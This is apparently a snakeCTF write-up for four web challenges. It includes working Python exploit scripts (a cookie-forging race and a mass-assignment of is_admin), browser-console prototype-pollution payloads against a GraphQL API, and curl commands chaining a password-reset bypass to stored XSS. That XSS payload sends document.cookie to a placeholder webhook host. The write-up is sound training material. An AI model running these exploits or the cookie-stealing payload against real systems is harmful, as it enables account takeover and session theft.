web

Challenges

/b/locked

Time to prove you're not just another... new user.

❯ unzip -l blocked.zip
Archive:  blocked.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      287  1969-12-31 16:00   Dockerfile
      248  1969-12-31 16:00   docker-compose.yml
     8399  1969-12-31 16:00   index.js
        0  1969-12-31 16:00   lib/
     4867  1969-12-31 16:00   lib/captcha.js
    85037  1969-12-31 16:00   package-lock.json
      404  1969-12-31 16:00   package.json
        0  1969-12-31 16:00   public/
      537  1969-12-31 16:00   public/style.css
     3293  1969-12-31 16:00   public/script.js
        0  1969-12-31 16:00   views/
     1654  1969-12-31 16:00   views/index.ejs
     1461  1969-12-31 16:00   views/page.ejs
---------                     -------
   106187                     13 files

tldr; The site tracks “solved” CAPTCHAs by dropping a solvedCaptchas cookie containing per-solve tokens stored in SQLite. The protected page re-parses that cookie in a different format and then verifies all tokens concurrently using a SELECT … then pbkdf2 … then DELETE flow.

By solving one CAPTCHA to get a single token, forging the cookie as token,token,… (10×), and hitting /protected, all 10 verifications race and succeed before the row is deleted, the elapsed time is ~0s, and the flag is rendered. The EJS view (views/page.ejs) prints it (templated as <%= flag %>).

// server.js – GET /protected
if (timeElapsed <= TIME_LIMIT_SECONDS) {
  res.render('page', {
    flag: process.env.FLAG || "snakeCTF{f4k3_fl4g_f0r_t3st1ng}",
  });
}

How to get there?

You must make /protected think you solved 10 CAPTCHAs within 10 seconds. That page:

  1. Reads tokens from the solvedCaptchas cookie.

  2. Sorts the solvedAt timestamps and checks last - first ≤ 10s.

We bypass the “ten different solves” requirement by reusing the same token 10× and abusing a race so every concurrent verifier counts it before deletion.

The vulnerability?

Setter (on /api/solve) serializes as JSON array:

Reader (on /protected) expects a comma-separated list:

Because of this mismatch, an attacker can supply any comma-separated string (not JSON) and the server will accept it.

Steps:

  • Fetch one CAPTCHA: GET /api/captcha → receive images + captchaId.

  • Solve it once (DO IT manually) 🤷‍♂️. POST /api/solve { captchaId, solution } On success the server:

    • Inserts id=token, hash, salt, solvedAt into validHashes.

    • Sets cookie solvedCaptchas to ["<token>"] (JSON array).

  • Extract the token from the cookie (["<token>"]<token>).

  • Forge the cookie in the format /protected expects (comma list), repeating the same token 10×:

import json
import re
import sys
from urllib.parse import unquote, urljoin

import requests

USAGE = "usage: python solve.py <BASE_URL> <cookie_or_token>"

def parse_tokens(s: str):
    """Return a list of raw token(s) from a raw token OR urlencoded JSON cookie."""
    s = s.strip()
    if "%" in s:
        s = unquote(s)
    # JSON array or string?
    try:
        j = json.loads(s)
        if isinstance(j, list):
            return [str(t).strip() for t in j if str(t).strip()]
        if isinstance(j, str):
            return [j.strip()] if j.strip() else []
    except Exception:
        pass
    # plain token
    return [s] if s else []

def try_token(base, token):
    forged = ",".join([token] * 10)  # the server splits on commas
    headers = {"Cookie": f"solvedCaptchas={forged}"}
    r = requests.get(urljoin(base, "protected"), headers=headers)
    m = re.search(r"(snakeCTF\{[^}]+\})", r.text, re.I)
    return r.status_code, m.group(1) if m else None, r.text

def main():
    if len(sys.argv) < 3:
        print(USAGE); sys.exit(1)
    base = sys.argv[1].rstrip("/") + "/"
    raw  = sys.argv[2]

    tokens = parse_tokens(raw)
    if not tokens:
        print("[-] no token(s) parsed"); sys.exit(1)
    print(f"[+] parsed {len(tokens)} token(s): {tokens}")

    for i, tok in enumerate(tokens, 1):
        print(f"[+] trying token {i}/{len(tokens)}: {tok}")
        code, flag, body = try_token(base, tok)
        print(f"[+] status: {code}")
        if flag:
            print(f"[+] FLAG: {flag}")
            return
        # helpful diagnostics if cookie didn't land
        if "You need to solve 10 captchas to access this page." in body:
            print("[-] server didn't see your cookie (or threw before parsing).")
        elif "You need to solve 10 captchas to access this page. You have solved" in body:
            print("[-] cookie parsed, but count < 10 (unexpected for duplicate trick).")
        else:
            print(body[:300])
    print("[-] no luck; the token(s) may be consumed. solve one captcha again and retry.")

if __name__ == "__main__":
    main()

ExploitMe

Finally! The dating app specifically designed for people who think "getting a shell" is more exciting than getting a phone number.

tldr; Next.js app lets users edit their profile through /api/edit. The code validates input with yup but never calls .noUnknown() and later builds the SQL SET list from the keys of the validated object. That’s a classic mass-assignment bug: you can smuggle arbitrary columns (e.g. is_admin) into the update.

A second bug: /api/chat/[matchId]/report lets any logged-in user mark any chat as reported. The reader for /api/chat/[matchId] grants access if you’re (admin AND reported).

So: register → onboard → POST /api/edit with {"is_admin":1} → POST /api/chat/4/report → GET /api/chat/4 → read the messages and extract the flag.

❯ unzip -l exploitme.zip
Archive:  exploitme.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      258  1980-01-01 00:00   Dockerfile
      405  1980-01-01 00:00   components/Layout.js
      500  1980-01-01 00:00   components/Input.js
      500  1980-01-01 00:00   components/Button.js
     2037  1980-01-01 00:00   components/Logo.js
      240  1980-01-01 00:00   docker-compose.yml
      369  1980-01-01 00:00   eslint.config.mjs
       73  1980-01-01 00:00   jsconfig.json
      651  1980-01-01 00:00   lib/sanitize.js
      220  1980-01-01 00:00   lib/db.js
      118  1980-01-01 00:00   next.config.mjs
   283897  1980-01-01 00:00   package-lock.json
      838  1980-01-01 00:00   package.json
     4095  1980-01-01 00:00   pages/onboarding.js
     4591  1980-01-01 00:00   pages/chat/[matchId].js
     4190  1980-01-01 00:00   pages/explore.js
      888  1980-01-01 00:00   pages/index.js
     2285  1980-01-01 00:00   pages/login.js
     2561  1980-01-01 00:00   pages/register.js
      257  1980-01-01 00:00   pages/_document.js
     3395  1980-01-01 00:00   pages/api/onboarding.js
     1557  1980-01-01 00:00   pages/api/chat/[matchId]/report.js
     2592  1980-01-01 00:00   pages/api/chat/[matchId]/index.js
     1530  1980-01-01 00:00   pages/api/login.js
     1694  1980-01-01 00:00   pages/api/users.js
     1665  1980-01-01 00:00   pages/api/register.js
     1783  1980-01-01 00:00   pages/api/users/[username].js
     2209  1980-01-01 00:00   pages/api/match-status.js
     2408  1980-01-01 00:00   pages/api/like.js
     1313  1980-01-01 00:00   pages/api/onboarding/check.js
     2517  1980-01-01 00:00   pages/api/edit.js
     7054  1980-01-01 00:00   pages/users/[username].js
      216  1980-01-01 00:00   pages/_app.js
       81  1980-01-01 00:00   postcss.config.mjs
   454660  1980-01-01 00:00   public/dude.png
   847116  1980-01-01 00:00   public/admin1.png
    37683  1980-01-01 00:00   public/admin.png
   916023  1980-01-01 00:00   public/priest.png
    47400  1980-01-01 00:00   public/bepi.webp
     9028  1980-01-01 00:00   scripts/run-migrations.js
       93  1980-01-01 00:00   styles/globals.css
---------                     -------
  2650990                     41 files

Where is the flag? I first able to identified it in the seed file of this narnia db

And to expose it, we have to invoke this lil rat with some permission

// pages/api/chat/[matchId]/index.js
const messages = await db.all(
  'SELECT id, match_id, sender_id, content, created_at FROM messages WHERE match_id = ? ORDER BY created_at ASC',
  matchId
);

How to get there?

  1. Create an account → receive a JWT.

  2. Finish onboarding so /api/edit is allowed.

  3. Mass-assign admin via /api/edit by including is_admin: 1 in the JSON body.

  4. Report the target match via /api/chat/4/report (no membership check).

  5. Read /api/chat/4 as an admin of a reported match and grab the flag from the returned messages.

Who is responsible for this vulnerability?

// pages/api/edit.js
const editProfileSchema = yup.object().shape({
  role: yup.string().oneOf(['WHITE_HAT','BLACK_HAT','GREY_HAT']),
  /* … many allowed fields … */
  yt_embed: yup.string().url(),
});

validated = await editProfileSchema.validate(req.body, { abortEarly: false });
// ❌ no .noUnknown(), so extra keys survive validation

const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values    = Object.values(validated);
await db.run(`UPDATE users SET ${setClause} WHERE id = ?`, ...values, userId);

Because unknown keys aren’t stripped/rejected, sending {"is_admin":1} ends up in validated, then in SET "is_admin" = ?. Thats why if you’re admin and the match is reported, you may read that chat even if you’re not part of it. (read the chat 4 where they have the flag). But make sure you finished the onboard process first 🤷‍😭.

#!/usr/bin/env python3
import re, random, string, requests

BASE = "http://localhost:3000/"
MATCH_ID = "4"

def rname(n=8): return "u" + "".join(random.choice(string.ascii_lowercase) for _ in range(n))

def must_ok(resp):
    if resp.status_code >= 400:
        print(f"[!] {resp.request.method} {resp.request.url} -> {resp.status_code}")
        print(resp.text)
    resp.raise_for_status()
    return resp

def main():
    s = requests.Session()

    # 1 register
    u = rname()
    r = must_ok(s.post(BASE + "api/register",
                       json={"username": u, "email": f"{u}@ex.am", "password": "pass123"}))
    jwt = r.json()["token"]
    H = {"Authorization": f"Bearer {jwt}"}
    print("[+] registered:", u)

    # 2 onboard (include touches_grass!)
    onboard = {
        "role":"WHITE_HAT",
        "looking_for":"BLACK_HAT",
        "age":20,
        "likes":["a"],
        "dislikes":["b"],
        "bio":"x",
        "location":"net",
        "hacks":["c"],
        "favorite_hacker":"x",
        "favorite_song":"x",
        "favorite_movie":"x",
        "touches_grass": False
    }
    must_ok(s.post(BASE + "api/onboarding", json=onboard, headers=H))
    print("[+] onboarded")

    # 3 mass-assign admin via /api/edit
    must_ok(s.post(BASE + "api/edit", json={"is_admin": 1}, headers=H))
    print("[+] now admin")

    # 4 report target chat (no membership required)
    must_ok(s.post(BASE + f"api/chat/{MATCH_ID}/report", headers=H))
    print("[+] match reported")

    # 5 read chat & extract flag
    r = must_ok(s.get(BASE + f"api/chat/{MATCH_ID}", headers=H))
    msgs = " ".join(m.get("content","") for m in r.json().get("messages", []))
    m = re.search(r"(snakeCTF\{[^}]+\})", msgs, re.I)
    print("[+] FLAG:", m.group(1) if m else msgs)

main()

Boxbin

🎵 You're on Boxbin, you're on Boxbin... 🎵 Welcome to Boxbin, the totally-not-suspicious platform for sharing your hatred against any kind of box!

Paste these in the console of the site. I'm so lazy at this point

localStorage.removeItem('token');

GQL(`mutation($u:String!,$p:String!){
  signup(username:$u, password:$p)
}`, { u: `t_${Date.now()}`, p: "p@ssw0rd" })
.then(r => {
  console.log(r);
  const tok = r.data?.signup;     // <— scalar string
  if (tok) localStorage.setItem('token', tok);
});

##### WORKING SO FAR

// --- auto-pick the working GraphQL endpoint and auth style ---
const TOKEN = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwLCJpYXQiOjE3NTY0OTQ4MDl9.ZTGXB9kn4s4JfFOaC4LW7qG5j87ocPzQBDvoe-NXRm4';
localStorage.setItem('token', TOKEN);
document.cookie = `token=${TOKEN}; Path=/; SameSite=Lax`;

async function pickEndpoint() {
  for (const ep of ['/api/graphql', '/graphql']) {
    const r = await fetch(ep, {
      method: 'POST',
      headers: { 'content-type': 'application/json', 'authorization': TOKEN },
      credentials: 'include',
      body: JSON.stringify({ query: '{ __typename: __schema { queryType { name } } }' })
    });
    if (r.ok) return ep;
  }
  throw new Error('No working GraphQL endpoint (got 404s)');
}

const EP = await pickEndpoint();
console.log('Using endpoint:', EP);

const GQL = (q, vars) =>
  fetch(EP, {
    method: 'POST',
    headers: { 'content-type': 'application/json', 'authorization': TOKEN }, // <— NO "Bearer "
    credentials: 'include',
    body: JSON.stringify(vars ? { query: q, variables: vars } : { query: q })
  }).then(async r => r.ok ? r.json() : Promise.reject(new Error(await r.text())));

// sanity: should show your user, not null
console.log(await GQL(`{ me { id username isAdmin groupId } }`));

// 1 baseline
console.log(await GQL(`{ me { id username isAdmin groupId } }`));
console.log(await GQL(`{ userSettings }`));

// 2 try a few PP payloads
const payloads = [
  {"__proto__":{"isAdmin":true,"groupId":1,"canViewHidden":true}},
  {"constructor":{"prototype":{"isAdmin":true,"groupId":1,"canViewHidden":true}}},
  {"isAdmin":true,"groupId":1,"canViewHidden":true}
];

for (const p of payloads) {
  console.log('set', p);
  console.log(await GQL(`mutation($s:String!){ updateSettings(settings:$s) }`,
    { s: JSON.stringify(p) }));

  // 3 re-check and then try the gated query
  console.log(await GQL(`{ userSettings }`));
  console.log(await GQL(`{ me { id isAdmin groupId } }`));
  console.log(await GQL(`{ hiddenPosts { id title author{username} content } }`));
}

SPAM

The Italian government's latest digital authentication masterpiece. Built by the lowest bidder with the highest confidence. What could go wrong?

TL;DR: Chain four bugs to run XSS in the admin bot and steal the flag. First, a missing await in password-reset makes any reset token “valid,” letting you reset the admin (user 0). With admin creds, abuse a broken authorization check to self-assign the System group.

That unlocks an internal /api/internal/sync endpoint where profile fields aren’t sanitized—inject a <script> payload. The “test” service renders that profile verbatim, so when the bot views it, your JS executes in the bot’s browser and exfiltrates its cookies (flag).

The challenge is to make the bot visit a page where your JavaScript runs and reads document.cookie to exfiltrate that flag.

const tokenData = db.get(“SELECT * FROM PasswordResetTokens WHERE token = ?”, token);

This lets you reset the admin’s password without a valid token, effectively an auth bypass.

After takeover, you can: Promote yourself to System via IDP Actions (assignGroup). Use the System-only sync endpoint to write unsensitized profile fields. Some webhook shenanigans.

curl -s 'http://localhost:3000/api/auth/signin' \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@spam.gov.it","password":"A1?AdminPwd123"}'
  
curl -X PATCH 'http://localhost:3000/api/auth/forgot' \                                              
  -H 'Content-Type: application/json' \
  -d '{"token":"anything","newPassword":"A1?AdminPwd123"}'
  
curl -X POST 'http://localhost:3000/api/actions' \   
  -H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
  -d '{"action":"assignGroup","params":{"userId":0,"groupId":0}}'
  
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
  -H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
  -d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'
  
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
  -H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
  -d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'
  • snakeCTF{42m_3ur0s_w3ll_sp3nt_0n_s3cur1ty_f369f85ee7ed56f6}

Last updated